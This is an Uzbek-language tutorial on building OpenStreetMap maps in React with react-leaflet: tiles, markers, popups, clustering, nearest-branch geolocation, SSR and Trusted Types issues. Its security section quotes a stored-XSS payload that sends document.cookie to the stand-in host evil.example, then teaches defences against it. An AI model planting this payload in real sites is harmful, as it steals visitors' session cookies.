IlmHamroh
JavaScript Full-stack/21-qism. React: media, integratsiyalar, PWA6/32-dars23 daqiqa
Mundarija (30)

Leaflet va OpenStreetMap React'da: react-leaflet bilan xarita, marker, popup va joylashuv

Qisqacha: Veb-xarita — 256×256 pikselli rasmlar (plitkalar) to'ri: har masshtabda dunyo 2^z × 2^z bo'lakka bo'linadi. Leaflet shu plitkalarni yuklaydi, siljitish va masshtabni boshqaradi. react-leaflet uni React komponentlariga o'raydi: <MapContainer>, <TileLayer>, <Marker>, <Popup>. OpenStreetMap plitkalari kalitsiz va bepul, lekin atribusiya majburiy va og'ir yuklama taqiqlangan. Kanon o'lchovi: +43.8 KB JS va +6.4 KB CSS. Leaflet vazifalar ning Trusted Types siyosatida import paytidayoq yiqiladi.

Bu darsda

  • Plitka, masshtab (zoom) va koordinata qanday bog'langanini hisoblab ko'rsatasiz.
  • react-leaflet bilan xarita, marker va popup qo'yasiz, useMap bilan xaritani boshqarasiz.
  • Marker ikonkasi nega yo'qolishini tushuntirasiz va tuzatasiz.
  • Ko'p markerni klasterlaysiz va foydalanuvchiga eng yaqin filialni topasiz.
  • SSR va qattiq CSP'da Leaflet nega yiqilishini bilasiz va yo'lini tanlaysiz.

Oldin bilishingiz kerak: Permissions, Notifications va Geolocation, useRef II: DOM elementlari va ref prop, Grafiklar II, XSS va DOM xavfsizligi, Vite IV: assetlar.

1. Nega bu kerak?

«Bahor»ning endi to'rtta filiali bor: Chilonzor, Sergeli, Yunusobod va Mirzo Ulug'bek. Mehmonlar Telegram'da bir xil savolni so'raydi: "Menga eng yaqini qaysi?". Sahifaga manzillar ro'yxati yetmaydi — xarita kerak.

Birinchi o'ylaydigan yo'l — Google Maps. Lekin u uchun hisob, API kalit va to'lov kartasi kerak (keyingi darsda ko'ramiz). Kichik loyihada bular ortiqcha.

Leaflet — ochiq kodli, bepul xarita kutubxonasi. OpenStreetMap (OSM) — ko'ngillilar chizgan ochiq dunyo xaritasi, Vikipediyaga o'xshash. Ikkalasi birga — kalitsiz, hisobsiz xarita.

Hayotiy o'xshatish: devordagi kafel. Xarita bitta katta rasm emas — ko'p kichik kafellardan teriladi. Ekranga qaysi kafellar tushsa, faqat o'shalar olib kelinadi. Yaqinlashtirsangiz — mayda, batafsil kafellar keladi.

2. Xarita qanday ishlaydi: plitkalar

2.1 Masshtab va plitka manzili

Plitka (tile) — 256×256 pikselli rasm. Masshtab (zoom) 0 da butun dunyo bitta plitkada. Har qadamda har plitka to'rtga bo'linadi: zoom 1 da 2×2, zoom 2 da 4×4. Umuman — 2^z × 2^z.

Plitka manzili uch sondan iborat: z/x/y. OSM'da: https://tile.openstreetmap.org/{z}/{x}/{y}.png. Koordinatadan plitkani topish — oddiy formula (Web Mercator proyeksiyasi, Yer sharini tekis to'rtburchakka "yoyish"):

js
function toTile(lat, lng, zoom) {
  const n = 2 ** zoom; // shu zoom'da bir qatordagi plitkalar soni
  const x = Math.floor(((lng + 180) / 360) * n);
  const rad = (lat * Math.PI) / 180;
  const merc = Math.log(Math.tan(rad) + 1 / Math.cos(rad));
  const y = Math.floor(((1 - merc / Math.PI) / 2) * n);
  return { x, y };
}
for (const z of [0, 5, 13, 18]) {
  const { x, y } = toTile(41.3111, 69.2797, z);
  const n = 2 ** z;
  console.log(`zoom ${z}: ${n}×${n} plitka, ${z}/${x}/${y}.png`);
}

Konsolda:

text
zoom 0: 1×1 plitka, 0/0/0.png
zoom 5: 32×32 plitka, 5/22/11.png
zoom 13: 8192×8192 plitka, 13/5672/3061.png
zoom 18: 262144×262144 plitka, 18/181519/97983.png

41.3111, 69.2797 — Toshkent markazi (Amir Temur xiyoboni atrofi). Kenglik (latitude, lat) — ekvatordan shimolga, uzoqlik (longitude, lng) — Grinvichdan sharqqa (Geolocation darsidagi atamalar).

Zoom 13 da bitta qatorda 8 192 plitka, jami 67 million. Zoom 18 da — 68 milliarddan ko'p. Hech kim ularni oldindan saqlamaydi: server plitkani so'ralganda chizadi va keshlaydi. Shuning uchun plitka serveri — qimmat resurs.

Xaritani siljitganingizda nima bo'ladi:

sequenceDiagram
  participant U as Foydalanuvchi
  participant L as Leaflet
  participant S as Plitka serveri
  U->>L: siljitdi / zoom +
  L->>L: ekranga qaysi z/x/y tushadi?
  L->>S: GET /13/5672/3061.png (+ qo'shnilari)
  S-->>L: PNG (keshdan yoki yangi chizilgan)
  L->>U: rasmlarni to'rga teradi

Diagrammadagi ikkinchi qadamga qarang: Leaflet faqat ekranga tushadigan plitkalarni so'raydi. Telefon ekraniga odatda 6–12 tasi tushadi.

2.2 OSM plitkalarining qoidalari

tile.openstreetmap.org — bepul, lekin ko'ngillilar xayriyasi bilan ishlaydi. Uning foydalanish siyosati (operations.osmfoundation.org/policies/tiles) asosiy talablari:

  • Atribusiya majburiy — xaritada ko'rinadigan joyda "© OpenStreetMap" yozuvi. Menyuga yashirish mumkin emas.
  • Og'ir yuklama taqiqlangan — server ishiga xalal bersangiz, ogohlantirishsiz to'sib qo'yilasiz.
  • Oldindan yuklab olish taqiqlangan — ko'rinmayotgan plitkalarni yig'ish, oflayn xarita taklif qilish — yo'q.
  • Faqat HTTPS manzil va to'g'ri Referer sarlavhasi (brauzer uni o'zi yuboradi — o'chirib qo'ymang).

Kichik sayt yoki o'quv loyihasi uchun bu yetarli. Ko'p foydalanuvchili ilovada esa o'z plitka serveringiz yoki tijoriy provayder kerak — buni keyingi darsda ko'ramiz.

Tekshirib ko'ring: «Bahor» ilovasiga "Xaritani oflayn saqlash" tugmasini qo'shmoqchisiz: Toshkentning zoom 16 gacha hamma plitkasini yuklab oladi. OSM serverida mumkinmi?

Javob

Yo'q. Siyosat ko'rinmayotgan plitkalarni oldindan yuklashni va oflayn xarita taklif qilishni taqiqlaydi. Har foydalanuvchi minglab plitka so'raydi — bu og'ir yuklama. Oflayn xarita uchun o'z serveringizdagi plitkalar yoki vektor plitkalar kerak.

3. react-leaflet: birinchi xarita

3.1 O'rnatish va to'rt komponent

Leaflet saytdagi natija oynasida yo'q — keyinroq ko'rasiz, u xavfsizlik siyosatimiz bilan sig'masdi. Shuning uchun bu bo'limdagi kod — o'z loyihangiz uchun. Kanon tajribasida o'lchangan versiyalar:

bash
npm i -E leaflet@1.9.4 react-leaflet@5.0.0
npm i -D -E @types/leaflet

Eng kichik xarita (kanon tajribasidagi kod, kengaytirilgan):

tsx
import {
  MapContainer,
  TileLayer,
  Marker,
  Popup,
} from "react-leaflet";
import "leaflet/dist/leaflet.css";

const TASHKENT: [number, number] = [41.3111, 69.2797];
const OSM_LINK =
  '<a href="https://osm.org/copyright">OpenStreetMap</a>';

export function BranchMap() {
  return (
    <MapContainer
      center={TASHKENT}
      zoom={12}
      style={{ height: 320 }}
      scrollWheelZoom={false}
    >
      <TileLayer
        url="https://tile.openstreetmap.org/{z}/{x}/{y}.png"
        attribution={`&copy; ${OSM_LINK}`}
      />
      <Marker position={[41.364, 69.287]}>
        <Popup>Yunusobod filiali, 09:00–23:00</Popup>
      </Marker>
    </MapContainer>
  );
}

To'rt narsa muhim:

  1. leaflet/dist/leaflet.css — usiz plitkalar tartibsiz sochilib ketadi. Leaflet joylashuvni CSS bilan qiladi.
  2. Balandlik — MapContainer bo'sh div yasaydi. Balandlik bermasangiz, u 0 piksel — xarita ko'rinmaydi, xato ham chiqmaydi.
  3. Koordinata tartibi — Leaflet'da [lat, lng]: avval kenglik. Keyingi darsda boshqa kutubxonalar teskarisini kutishini ko'ramiz.
  4. scrollWheelZoom={false} — sahifani g'ildirak bilan aylantirayotgan odam tasodifan xaritani kattalashtirmasin.

<Popup> ichidagi matn — oddiy React bolasi. react-leaflet uni portal bilan Leaflet popup'ining ichiga chizadi. Buni manba kodida ko'rdik: createPortal(props.children, contentNode). Shuning uchun popup ichida tugma, havola, hatto state ham ishlaydi.

3.2 Tuzoq: center o'zgarsa, xarita siljimaydi

Filial tanlanganda xaritani o'shanga siljitmoqchisiz. Birinchi urinish — center={selected} ni state'dan berish. Xarita joyidan qimirlamaydi.

Sababi react-leaflet manbasida: MapContainer Leaflet xaritasini bir marta, birinchi chizishda yaratadi. center va zoom faqat shu paytda o'qiladi, keyingi o'zgarishlari e'tiborsiz qoladi. Bu prop'lar — "boshlang'ich qiymat", xuddi <input defaultValue> kabi (controlled va uncontrolled).

To'g'ri yo'l — xarita nusxasini olib, uning metodini chaqirish. useMap() hook'i shuni beradi, lekin faqat MapContainer ichidagi komponentda:

tsx
import { useEffect } from "react";
import { useMap } from "react-leaflet";

function FlyTo({ position }: { position: [number, number] }) {
  const map = useMap();
  useEffect(() => {
    map.flyTo(position, 15); // silliq uchib boradi
  }, [map, position]);
  return null; // hech narsa chizmaydi, faqat boshqaradi
}

// <MapContainer …>
//   <TileLayer … />
//   <FlyTo position={selected} />
// </MapContainer>

Xarita hodisalari uchun ham hook bor: useMapEvents({ click(e) { … } }). Ichida map.on(...) va cleanup'da map.off(...) — manba kodida aynan shunday.

3.3 Ichkarida: ref, effekt va cleanup

useRef II darsida va'da bergan edik: uchinchi tomon kutubxonasi DOM elementini talab qilsa, nusxa effektda yaratiladi va cleanup'da o'chiriladi. Leaflet'ni react-leaflet'siz ulasak:

tsx
import { useEffect, useRef } from "react";
import L from "leaflet";
import "leaflet/dist/leaflet.css";

export function PlainMap() {
  const boxRef = useRef<HTMLDivElement>(null);
  useEffect(() => {
    const map = L.map(boxRef.current!);
    map.setView([41.3111, 69.2797], 12);
    L.tileLayer("https://tile.openstreetmap.org/{z}/{x}/{y}.png", {
      attribution: "&copy; OpenStreetMap",
    }).addTo(map);
    return () => map.remove(); // cleanup — majburiy
  }, []);
  return <div ref={boxRef} style={{ height: 320 }} />;
}

Cleanup'ni unutsangiz, StrictMode effektni ikki marta ishga tushiradi. Ikkinchi L.map o'sha div ga uriladi va Leaflet xato tashlaydi. Biz uni jsdom'da Leaflet 1.9.4 bilan oldik:

text
Error: Map container is already initialized.

Tarjimasi: "Xarita konteyneri allaqachon ishga tushirilgan". map.remove() xaritani to'liq o'chiradi: hodisalar, plitkalar, belgi — keyingi L.map toza div ga tushadi. react-leaflet ham ichida xuddi shunday qiladi: ref callback'da new LeafletMap(node), effekt cleanup'ida map.remove().

4. O'quv modeli: marker va popup kutubxonasiz

Leaflet natija oynasida yo'q. Marker va popup g'oyasini kutubxonasiz o'quv modelida sinab ko'ramiz. Har marker — koordinatasi pikselga aylantirilgan tugma. Bosilsa, ostida popup ochiladi:

jsx
import { useState } from "react";

const BRANCHES = [
  { name: "Chilonzor", lat: 41.2756, lng: 69.2034, hours: "9-23" },
  { name: "Sergeli", lat: 41.227, lng: 69.219, hours: "10-22" },
  { name: "Yunusobod", lat: 41.364, lng: 69.287, hours: "9-23" },
  { name: "Mirzo Ulug'bek", lat: 41.338, lng: 69.334, hours: "8-22" },
];
const CENTER = { lat: 41.3, lng: 69.27 };
const ZOOM = 11;

// dunyo pikseli: shu zoom'da butun dunyo 256 × 2^zoom piksel
function toPixel(lat, lng, zoom) {
  const size = 256 * 2 ** zoom;
  const rad = (lat * Math.PI) / 180;
  const merc = Math.log(Math.tan(rad) + 1 / Math.cos(rad));
  return {
    x: ((lng + 180) / 360) * size,
    y: ((1 - merc / Math.PI) / 2) * size,
  };
}

export default function App() {
  const [open, setOpen] = useState(null);
  const c = toPixel(CENTER.lat, CENTER.lng, ZOOM);
  return (
    <div style={{ position: "relative", width: 300, height: 220,
      background: "#e5efe8", overflow: "hidden" }}>
      {BRANCHES.map((b) => {
        const p = toPixel(b.lat, b.lng, ZOOM);
        const left = 150 + p.x - c.x; // xarita markazi — 150, 110
        const top = 110 + p.y - c.y;
        return (
          <button
            key={b.name}
            type="button"
            aria-expanded={open === b.name}
            onClick={() => setOpen(b.name)}
            style={{ position: "absolute", left, top, fontSize: 11 }}
          >
            {b.name}
          </button>
        );
      })}
      {open && (
        <p role="status" style={{ position: "absolute", bottom: 0 }}>
          {open} filiali,{" "}
          {BRANCHES.find((b) => b.name === open).hours}
        </p>
      )}
    </div>
  );
}

Ekranda (Yunusobod bosildi):

text
ChilonzorSergeliYunusobodMirzo Ulug'bek
Yunusobod filiali, 9-23

Birinchi qatorda nomlar yopishib qolgan — tekshiruvchi tugmalarni bitta qatorga teradi, ekranda esa ular har xil joyda turadi. «Ishga tushir» ni bosing: yashil maydonda to'rtta tugma, Yunusobod — tepada, Sergeli — pastda, xuddi xaritadagidek. Bu joylashuv toPixel ning ishi: u «Plitkalar» bo'limidagi formulaning o'zi, faqat plitka raqami emas, piksel qaytaradi. Markerning ekrandagi joyi = uning pikseli − markaz pikseli + oyna markazi.

Leaflet aynan shuni qiladi, ustiga plitkalar, siljitish va animatsiya qo'shadi. Marker'ni tugma qilishimiz ham tasodif emas: Leaflet 1.9 markerlari klaviatura bilan fokuslanadi va Enter bilan popup ochadi. O'zingiz yasagan markerda ham shunday bo'lsin — Bobur xaritani faqat klaviatura bilan ishlatadi.

5. Marker ikonkasi yo'qoladi

Vite loyihada react-leaflet'ni ulaysiz — xarita bor, marker o'rnida esa "singan rasm" belgisi. Bu Leaflet'ning eng mashhur muammosi.

Sabab Leaflet manba kodida (_detectIconPath). Standart ikonka manzilini Leaflet CSS'dan taxmin qiladi: leaflet.css da .leaflet-default-icon-path { background-image: url(images/marker-icon.png) } bor. Leaflet shu sinfli bo'sh div yasaydi, fon manzilini o'qiydi va oxiridan marker-icon.png ni kesib, papkani topadi.

Bundler esa bu manzilni o'zgartiradi (Vite IV: assetlar): kichik rasmni data: satriga aylantiradi, kattasiga xesh qo'shadi (marker-icon-B2k9.png). Taxmin ishlamaydi, Leaflet ikonkani shunchaki marker-icon.png deb so'raydi — va 404 oladi.

Biz buni esbuild bilan yig'ib, Chrome 155 da tekshirdik: markerning src — marker-icon.png, rasm eni — 0 (yuklanmadi). Tuzatish — rasmlarni o'zingiz import qilib berish:

tsx
import L from "leaflet";
import iconUrl from "leaflet/dist/images/marker-icon.png";
import iconRetinaUrl from "leaflet/dist/images/marker-icon-2x.png";
import shadowUrl from "leaflet/dist/images/marker-shadow.png";

L.Icon.Default.mergeOptions({ iconUrl, iconRetinaUrl, shadowUrl });

Shundan keyin src — data:image/png;base64,…, rasm eni 25 piksel. Eski maqolalarda bundan oldin delete L.Icon.Default.prototype._getIconUrl qatorini ko'rasiz — 1.9.4 da u shart emas, lekin zarar ham qilmaydi.

O'z ikonkangiz kerak bo'lsa — L.icon({ iconUrl, iconSize: [32, 32], iconAnchor: [16, 32] }) va <Marker icon={…}>. iconAnchor — rasmning qaysi nuqtasi koordinataga tushadi. Pin uchun bu — pastki o'rta nuqta, aks holda marker "suzib" yuradi.

Diqqat: L.divIcon({ html: "…" }) — HTML satrli ikonka. Leaflet uni innerHTML bilan qo'yadi. Foydalanuvchi matni tushsa — XSS, Trusted Types'da esa buzilish.

6. Ko'p marker: klasterlash

«Bahor» filiallari to'rtta. Lekin "Toshkentdagi hamma choyxonalar" — 500 ta. Zoom 10 da ular bir-birining ustiga tushib, qora dog'ga aylanadi.

Klasterlash (clustering) — yaqin markerlarni bitta doiraga yig'ish: "12". Yaqinlashtirsangiz, doira bo'linadi. Eng sodda usul — to'r: ekranni 80×80 piksellik kataklarga bo'lamiz, bir katakka tushganlar — bitta klaster. Zoom o'zgarsa, piksellar o'zgaradi va guruhlar ham:

jsx
import { useState } from "react";

const BRANCHES = [
  { name: "Chilonzor", lat: 41.2756, lng: 69.2034 },
  { name: "Sergeli", lat: 41.227, lng: 69.219 },
  { name: "Yunusobod", lat: 41.364, lng: 69.287 },
  { name: "Mirzo Ulug'bek", lat: 41.338, lng: 69.334 },
];

function toPixel(lat, lng, zoom) {
  const size = 256 * 2 ** zoom;
  const rad = (lat * Math.PI) / 180;
  const merc = Math.log(Math.tan(rad) + 1 / Math.cos(rad));
  return {
    x: ((lng + 180) / 360) * size,
    y: ((1 - merc / Math.PI) / 2) * size,
  };
}

function cluster(points, zoom, cell = 80) {
  const groups = new Map();
  for (const p of points) {
    const { x, y } = toPixel(p.lat, p.lng, zoom);
    const key = `${Math.floor(x / cell)}:${Math.floor(y / cell)}`;
    groups.set(key, [...(groups.get(key) ?? []), p.name]);
  }
  return [...groups.values()];
}

export default function App() {
  const [zoom, setZoom] = useState(12);
  const groups = cluster(BRANCHES, zoom);
  return (
    <section>
      <button type="button" onClick={() => setZoom((z) => z - 1)}>
        −
      </button>{" "}
      <button type="button" onClick={() => setZoom((z) => z + 1)}>
        +
      </button>
      <p>Zoom {zoom}: {groups.length} ta belgi</p>
      <ul>
        {groups.map((g) => (
          <li key={g.join()}>
            {g.length > 1 ? `(${g.length}) ${g.join(", ")}` : g[0]}
          </li>
        ))}
      </ul>
    </section>
  );
}

Ekranda ("−" bosildi — zoom 11):

text
− +
Zoom 11: 3 ta belgi
Chilonzor
Sergeli
(2) Yunusobod, Mirzo Ulug'bek

Zoom 11 da Yunusobod va Mirzo Ulug'bek bitta katakka tushdi — ekranda ular orasi 80 pikseldan kam. Yana bir marta "−" bossangiz (zoom 10), Chilonzor va Sergeli ham juftlashadi, zoom 9 da esa to'rttasi bitta "(4)" bo'ladi. "+" bilan zoom 12 ga qaytsangiz — to'rtta alohida belgi.

Haqiqiy loyihada bu ishni kutubxona qiladi. Leaflet uchun eng mashhuri — Leaflet.markercluster, React'da uning o'ramlari bor (masalan react-leaflet-cluster). Ular to'r emas, aqlliroq algoritm ishlatadi va doirani bosganda yaqinlashtiradi. Minglab nuqtada Supercluster (Mapbox'ning ochiq kutubxonasi) tezroq. Bu kutubxonalarni kanon o'lchamadi — hajmini o'zingiz o'lchang.

Tekshirib ko'ring: Nega klasterni kilometr bilan emas, ekran pikseli bilan hisoblaymiz?

Javob

Muammo — ekranda ustma-ust tushish, u esa piksellarda o'lchanadi. 2 km zoom 9 da bir necha piksel, zoom 15 da yuzlab piksel. Kilometr bilan hisoblasak, uzoqdan qaraganda markerlar baribir ustma-ust tushadi, yaqindan esa bekordan-bekor birlashadi. Piksel esa zoom bilan o'zi o'zgaradi.

7. Foydalanuvchi joylashuvi va eng yaqin filial

7.1 Geolocation API — qisqa takror

Geolocation darsida ko'rganimiz: navigator.geolocation.getCurrentPosition(onSuccess, onError, options). Faqat HTTPS (yoki localhost) sahifada, faqat foydalanuvchi ruxsat bersa ishlaydi. Xato kodlari: 1 — ruxsat berilmadi, 2 — joylashuv aniqlanmadi, 3 — vaqt tugadi.

Ruxsatni sahifa ochilishi bilan emas, foydalanuvchi tugmani bosganda so'rang ("Menga eng yaqinini top"). Brauzer oynasi kutilmaganda chiqsa, odamlar "Bloklash" ni bosadi — keyin qaytarish qiyin.

Leaflet'da qisqa yo'l bor: map.locate({ setView: true, maxZoom: 15 }) va locationfound/locationerror hodisalari. react-leaflet bilan:

tsx
import { useState } from "react";
import { Marker, Popup, useMapEvents } from "react-leaflet";
import type { LatLng } from "leaflet";

function LocateMe() {
  const [pos, setPos] = useState<LatLng | null>(null);
  const map = useMapEvents({
    locationfound(e) {
      setPos(e.latlng);
      map.flyTo(e.latlng, 15);
    },
    locationerror(e) {
      console.warn("Joylashuv aniqlanmadi:", e.message);
    },
  });
  return (
    <>
      <button type="button" onClick={() => map.locate()}>
        Men qayerdaman?
      </button>
      {pos && (
        <Marker position={pos}>
          <Popup>Siz shu yerdasiz</Popup>
        </Marker>
      )}
    </>
  );
}

7.2 Eng yaqinini hisoblash

Ikki nuqta orasidagi masofa — Yer sferasi bo'yicha haversine formulasi. Natija oynasida joylashuv so'rab bo'lmaydi (sandbox), shuning uchun "joylashuv beruvchi" funksiyani soxta qilamiz — 200 ms kutib, Amir Temur xiyobonini qaytaradi. Haqiqiy ilovada uning o'rnida getCurrentPosition turadi:

jsx
import { useState } from "react";

const BRANCHES = [
  { name: "Chilonzor", lat: 41.2756, lng: 69.2034 },
  { name: "Sergeli", lat: 41.227, lng: 69.219 },
  { name: "Yunusobod", lat: 41.364, lng: 69.287 },
  { name: "Mirzo Ulug'bek", lat: 41.338, lng: 69.334 },
];

// haversine: sfera bo'yicha masofa, km
function distanceKm(a, b) {
  const rad = (d) => (d * Math.PI) / 180;
  const dLat = rad(b.lat - a.lat);
  const dLng = rad(b.lng - a.lng);
  const h =
    Math.sin(dLat / 2) ** 2 +
    Math.cos(rad(a.lat)) *
      Math.cos(rad(b.lat)) *
      Math.sin(dLng / 2) ** 2;
  return 2 * 6371 * Math.asin(Math.sqrt(h));
}

// soxta joylashuv (o'quv): haqiqiysi — navigator.geolocation
function fakeGetPosition() {
  return new Promise((resolve) =>
    setTimeout(() => resolve({ lat: 41.3111, lng: 69.2797 }), 200),
  );
}

export default function App() {
  const [status, setStatus] = useState("idle");
  const [list, setList] = useState([]);
  async function findNearest() {
    setStatus("loading");
    const me = await fakeGetPosition();
    const sorted = BRANCHES.map((b) => ({
      ...b,
      km: distanceKm(me, b),
    })).toSorted((x, y) => x.km - y.km);
    setList(sorted);
    setStatus("done");
  }
  return (
    <section>
      <button type="button" onClick={findNearest}>
        Eng yaqin filial
      </button>
      {status === "loading" && <p role="status">Aniqlanmoqda…</p>}
      <ol>
        {list.map((b) => (
          <li key={b.name}>
            {b.name} — {b.km.toFixed(1)} km
          </li>
        ))}
      </ol>
    </section>
  );
}

Ekranda:

text
Eng yaqin filial
Mirzo Ulug'bek — 5.4 km
Yunusobod — 5.9 km
Chilonzor — 7.5 km
Sergeli — 10.6 km

ekran("Aniqlanmoqda") qadami oraliq holatni tekshirdi: 200 ms davomida "Aniqlanmoqda…" ko'rindi. Natija — "to'g'ri chiziq" masofasi. Yo'l bo'yicha masofa boshqacha (ko'cha, ko'prik) — buni marshrut xizmati hisoblaydi, keyingi darsda.

Joylashuv — shaxsiy ma'lumot. Uni serverga yubormasdan, brauzerning o'zida hisoblash mumkin bo'lsa — shunday qiling (yuqoridagi kod aynan shunday). Yuborsangiz, maxfiylik siyosatida yozing va kerakli aniqlikkacha yaxlitlang.

8. SSR: window is not defined

Leaflet modul yuklanishi bilanoq brauzer obyektlariga murojaat qiladi. Manba kodida inlineSvg tekshiruvi modul darajasida: document.createElement("div"). Serverda (Node) window va document yo'q. Biz Node 24 da import("leaflet") qilib ko'rdik:

text
ReferenceError: window is not defined

react-leaflet ham xuddi shu xatoni berdi — u Leaflet'ni import qiladi. Vite SPA'da bu muammo emas: kod faqat brauzerda ishlaydi. Server tomonda chizadigan frameworklarda esa (Next.js — 23-qism) xarita komponenti faqat brauzerda yuklanishi kerak. Next.js'da buning yo'li — dynamic(() => import("./BranchMap"), { ssr: false }), va u client komponent ichida yoziladi. Hozircha bilish shart emas — o'sha qismda to'liq ko'ramiz.

Vite'da ham xaritani kech yuklash foydali: 43.8 KB JS va 6.4 KB CSS faqat xarita sahifasiga kerak.

9. Biz sinab ko'rdik: hajm, CSP va Trusted Types

9.1 Kanon o'lchovi

Xom natija (kutubxonalar-21.txt), xato matni qisqartirilgan:

text
xarita-leaflet  JS 112522 (+  43.8 KB) CSS 6363 | CSP require-trusted-types-for×1
  xato: Failed to set the 'innerHTML' property on 'Element': … 'TrustedHTML' …
  ochiq: tashqi tile.openstreetmap.org

CSP ostida xarita umuman chizilmadi (0 element). CSP'siz — chizildi va plitkalar tile.openstreetmap.org dan keldi. Demak, vazifalar ga Leaflet qo'shish uchun ikki narsa kerak: img-src ga plitka serveri va Trusted Types masalasi yechimi.

9.2 Nega import paytidayoq yiqiladi

Biz chuqurroq qazidik. Faqat bitta qatorli fayl — import L from "leaflet" — kanon CSP'si ostida ham yiqildi. Sabab — o'sha inlineSvg tekshiruvi: Leaflet brauzer SVG'ni qo'llashini bilish uchun div.innerHTML = '<svg/>' qiladi. Bu modul yuklanganda, hali biror xarita yaratilmasdan bajariladi.

Leaflet innerHTML ni yana qayerda ishlatadi? Buni bilish uchun CSP'ni kengaytirdik (trusted-types vazifalar default) va o'tkazib yuboruvchi default siyosat qo'ydik — u har satrni yozib boradi. Xarita ishladi, siyosat 7 ta satrni ko'rdi: <svg/>, zoom tugmalari (+, −), atribusiya yozuvi (ikki marta), popup yopish belgisi × va popup matni «Bahor».

9.3 Yechim va uning narxi

default siyosat — Trusted Types'ning "hamma narsa uchun" eshigi: dasturchi aniq siyosat bermagan har innerHTML shu yerdan o'tadi. Uni oddiy o'tkazib yuboruvchi qilsak, Trusted Types amalda o'chadi — o'z kodimizdagi xatoni ham endi u ushlamaydi. To'g'ri yo'l — default ichida tozalash (DOMPurify) va ruxsat ro'yxati. Bu esa yana kutubxona va murakkablik.

Kanon qarori — vazifalar ga xarita qo'shilmadi: vazifada joylashuv maydoni yo'q. Agar kerak bo'lsa, tanlov raqamlar bilan tayyor: +43.8 KB, img-src https://tile.openstreetmap.org, va Trusted Types uchun default siyosat — xavfsizlik ko'rigi bilan.

10. Hujumchi nigohi

Popup — xaritadagi eng xavfli joy. Leaflet'ning o'z API'sida popup matni HTML sifatida qo'yiladi. Filial nomini foydalanuvchi kiritadigan bo'lsa (masalan, "o'z joyingizni qo'shing" formasi):

js
// ❌ XSS: name — foydalanuvchidan
marker.bindPopup(place.name);
// name = '<img src=x onerror="fetch(`//evil.example/?" +
//   "c=${document.cookie}`)">' — o'qish uchun ikkiga bo'lindi

bindPopup satrni innerHTML ga beradi — rasm xatosi skriptni ishga tushiradi. Bu XSS, saqlangan turdagi: har mehmon popup'ni ochganda ishlaydi.

Himoya:

  • react-leaflet <Popup>{place.name}</Popup> — matn React bolasi, portal orqali chiziladi va ekranlanadi. Xavfsiz.
  • Toza Leaflet'da — bindPopup(() => { const el = document.createElement("span"); el.textContent = place.name; return el; }): satr emas, DOM elementi.
  • L.divIcon({ html }) va L.tooltip matnida ham xuddi shu qoida.
  • Trusted Types bu xatoni ishlab chiqarishda ushlaydi — shuning uchun default siyosatni "hammasini o'tkazuvchi" qilmang.

11. Ko'p uchraydigan xatolar

Belgi Sabab Davosi
xarita ko'rinmaydi, xato yo'q konteyner balandligi 0 style={{ height: 320 }}
plitkalar sochilgan, bo'lak-bo'lak leaflet.css ulanmagan import "leaflet/dist/leaflet.css"
marker o'rnida singan rasm bundler ikonka manzilini o'zgartirdi L.Icon.Default.mergeOptions({ … })
center o'zgardi, xarita joyida MapContainer prop'lari faqat boshlang'ich useMap() + flyTo
Error: Map container is already initialized. effektda cleanup yo'q return () => map.remove()
useMap xato beradi komponent MapContainer dan tashqarida ichiga ko'chiring
Marker Afrika yaqinida [lng, lat] berilgan Leaflet — [lat, lng]
ReferenceError: window is not defined Leaflet serverda import qilindi faqat brauzerda yuklang
Failed to set the 'innerHTML' property … TrustedHTML Leaflet innerHTML ishlatadi CSP qarori (yuqorida)

12. Mashqlar

Mashqlar kurs/mashqlar/21/06-leaflet/ da. Jonli yechimlarni «Ishga tushir» bilan sinang.

1-mashq (oson): bo'sh joylarni to'ldiring

  • Zoom 3 da dunyo nechta plitka:
  • Leaflet'da koordinata tartibi: avval
  • Xarita nusxasini olish uchun react-leaflet hook'i:
  • Effekt cleanup'ida xaritani o'chiradigan metod:
  • OSM plitkalari bilan majburiy yozuv:
Yechim
  • 64 — 2³ × 2³ = 8 × 8.
  • lat — [lat, lng]: kenglik, keyin uzoqlik.
  • useMap — faqat MapContainer ichidagi komponentda.
  • remove — map.remove() hodisalar va plitkalarni tozalaydi.
  • atribusiya — "© OpenStreetMap" ko'rinadigan joyda.

2-mashq (o'rta): radius ichidagi filiallar

«Eng yaqinini hisoblash» bo'limidagi distanceKm va BRANCHES dan foydalanib, komponent yozing:

  1. Ikki tugma: «6 km» va «8 km».
  2. Bosilganda shu radius ichidagi filiallar <li> da chiqsin (markaz — 41.3111, 69.2797), yonida masofa bir kasr xona bilan.
  3. Ro'yxat ustida <p>: 6 km ichida: 2 ta.

Ishora: filter va toFixed(1).

Yechim
jsx
import { useState } from "react";

const BRANCHES = [
  { name: "Chilonzor", lat: 41.2756, lng: 69.2034 },
  { name: "Sergeli", lat: 41.227, lng: 69.219 },
  { name: "Yunusobod", lat: 41.364, lng: 69.287 },
  { name: "Mirzo Ulug'bek", lat: 41.338, lng: 69.334 },
];
const ME = { lat: 41.3111, lng: 69.2797 };

function distanceKm(a, b) {
  const rad = (d) => (d * Math.PI) / 180;
  const dLat = rad(b.lat - a.lat);
  const dLng = rad(b.lng - a.lng);
  const h =
    Math.sin(dLat / 2) ** 2 +
    Math.cos(rad(a.lat)) *
      Math.cos(rad(b.lat)) *
      Math.sin(dLng / 2) ** 2;
  return 2 * 6371 * Math.asin(Math.sqrt(h));
}

export default function App() {
  const [radius, setRadius] = useState(6);
  const inside = BRANCHES.map((b) => ({
    ...b,
    km: distanceKm(ME, b),
  })).filter((b) => b.km <= radius);
  return (
    <section>
      {[6, 8].map((r) => (
        <button key={r} type="button" onClick={() => setRadius(r)}>
          {r} km
        </button>
      ))}
      <p>{radius} km ichida: {inside.length} ta</p>
      <ul>
        {inside.map((b) => (
          <li key={b.name}>
            {b.name} — {b.km.toFixed(1)} km
          </li>
        ))}
      </ul>
    </section>
  );
}

Ekranda:

text
6 km8 km
8 km ichida: 3 ta
Chilonzor — 7.5 km
Yunusobod — 5.9 km
Mirzo Ulug'bek — 5.4 km

Tugmalar orasida bo'sh joy yo'q — map ichidagi tugmalar yonma-yon yopishgan (JSX'da {" "} qo'ysangiz, ajraladi). Ro'yxat BRANCHES tartibida; masofa bo'yicha kerak bo'lsa — toSorted. Sergeli (10.6 km) 8 km ga sig'madi.

3-mashq (qiyin): ekranga qaysi plitkalar kerak?

tilesFor(center, zoom, width, height) funksiyasini yozing: markazi center bo'lgan width × height pikselli oynaga tushadigan hamma plitkalarning z/x/y manzillarini qaytarsin. Toshkent markazi, zoom 13, oyna 360 × 640 (telefon) uchun plitkalar sonini va birinchi va oxirgisini chiqaring.

